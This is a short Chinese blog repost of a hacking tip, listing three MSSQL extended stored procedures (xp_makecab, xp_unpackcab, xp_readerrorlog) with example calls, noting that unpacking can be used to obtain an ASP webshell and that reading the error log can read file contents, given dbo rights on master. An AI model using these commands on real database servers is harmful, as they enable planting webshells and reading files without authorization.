3個MSSQL擴展

轉自:http://www.ph4nt0m.org/

作者:superhei

EXEC [master].[dbo].[xp_makecab] 'c:/test.rar','default',1,'d:/cmd.asp'
打包
EXEC [master].[dbo].[xp_unpackcab] 'C:/test.rar','c:',1, 'n.asp'
解包,可以用於得到webshell
EXEC [master].[dbo].[xp_readerrorlog] 1,'d:/cmd.asp'
讀文本代碼

要求權限:
master的dbo權限

發佈了24 篇原創文章 · 獲贊 0 · 訪問量 3萬+
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章